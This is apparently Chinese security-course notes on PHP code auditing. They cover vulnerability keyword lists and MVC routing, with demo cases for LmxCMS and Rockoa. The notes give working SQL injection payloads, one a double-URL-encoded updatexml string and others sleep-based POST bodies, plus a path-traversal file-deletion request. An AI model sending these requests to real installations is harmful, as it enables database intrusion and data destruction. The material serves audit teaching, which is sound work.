知识点1、PHP审计-MVC开发-控制模块视图2、PHP审计-MVC开发-SQL注入文件安全PHP常见漏洞关键字 SQL注入selectinsert update mysql_query mysqli等 文件上传$_FILEStypefile上传move_uploaded_file()等 XSS跨站 print print_rechosprintf die var_dump var_export等 文件包含 include include_once require require_once等 代码执行evalassert preg_replace call_user_func call_user_func_array 命令执行 systemexecshell_exec passthru pcntl_exec popen proc_open等 变量覆盖 extract()parse_str()importrequestvariables()$$等 反序列化 serialize()unserialize()__construct __destruct等 其他漏洞 unlink()file_get_contents()show_source()file()fopen()等 通用关键字$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等 注释关键字 通过开发者对代码的优化注释搜索功能代码段MVC流程1、Controller截获用户发出的请求2、Controller调用Model完成状态的读写操作3、Controller把数据传递给View4、View渲染最终结果并呈献给用户。 MVC各层职能1、控制器Controller层–负责响应用户请求、准备数据及如何展示数据。2、模块Model层–管理业务逻辑和数据库逻辑,提供连接操作数据库的抽象层。3、视图View层–负责前端模版渲染数据通过HTML方式呈现给用户。 MVC对审计主要影响1、文件代码定位问题2、代码过滤分析问题3、前端安全发现问题 MVC开发审计入口常见方法 搜索法常规或部分MVC模型源码可以采用关键字的搜索挖掘思路 功能法框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路 对比法可以通过前后修复版本文件及代码不同特征进行针对挖掘思路 特征法数据库监控挖SQL注入文件监控挖上传删除写入等后续补充 工具法后续讲到(IAST DAST SAST AI项目等)调试法动态插桩调试 MVC开发审计流程方法1、搞清URL路由对应逻辑代码静态页面等2、搞清核心配置文件提交接受全局过滤等3、搞清是否为开发框架ThinkPHPYii等演示案例-代码审计-MVC层-URL路由SQL注入文件安全一、LmxCMS 非框架MVC URL路由通过URL地址判断是否是MVC通过源码文件名判断是否是MVC如何通过URL地址找到对应代码在哪个文件二、LmxCMS 非框架MVC SQL注入https://www.cnvd.org.cn/flaw/show/CNVD-2023-98192利用方式Payload URL编码两次借助解码绕过 绕过思路name--url解码--filter_sql--url解码 Payload1 and updatexml(0,concat(0x7e,user()),1)#完整Payload/index.php?mTagsname%2531%2527%2520%2561%256e%2564%2520%2575%2570%2564%2561%2574%2565%2578%256d%256c%2528%2530%252c%2563%256f%256e%2563%2561%2574%2528%2530%2578%2537%2565%252c%2575%2573%2565%2572%2528%2529%2529%252c%2531%2529%2523三、LmxCMS 非框架MVC 文件删除https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469搜索关键字删除(unlink)-delbackdb#delOne()-BackdbAction.class.php功能备份数据删除-delbackdb#delOne()-BackdbAction.class.phpadmin.php?mbackdbadelbackdbfilename../../1.txt四、Rockoa 非框架MVC SQL注入1参考文章https://xz.aliyun.com/news/18185安装搭建http://www.rockoa.com/view_anzz.htmlURL路由关系a是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录insert-opendkqAction.php-addkqjs()-senddata()-zktimeAction()/task/openapi/opendkqAction.php文件下的zktimeAction方法functionarrvalue($arr,$k,$dev){$val$dev;if(isset($arr[$k]))$val$arr[$k];return$val;}而这个arrvalue就是用来接收数组的而这个$k就是$sn也就是sn参数。POST /index.php?mopendkq|openapidtaskazktime HTTP/1.1 Host:192.168.1.4:89{xxx:{sn:123 and sleep(0)#}}五、Rockoa 非框架MVC SQL注入2参考文章https://xz.aliyun.com/news/18185安装搭建http://www.rockoa.com/view_anzz.htmlURLa是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录select-getuserid()-querydataAction()-openbaseAction.php /task/openapi/openbaseAction.php文件下的querydata方法POST /index.php?mopenbase|openapidtaskaquerydata HTTP/1.1{baseoptid:1,basemodenum:xxx OR SLEEP(0.04)#}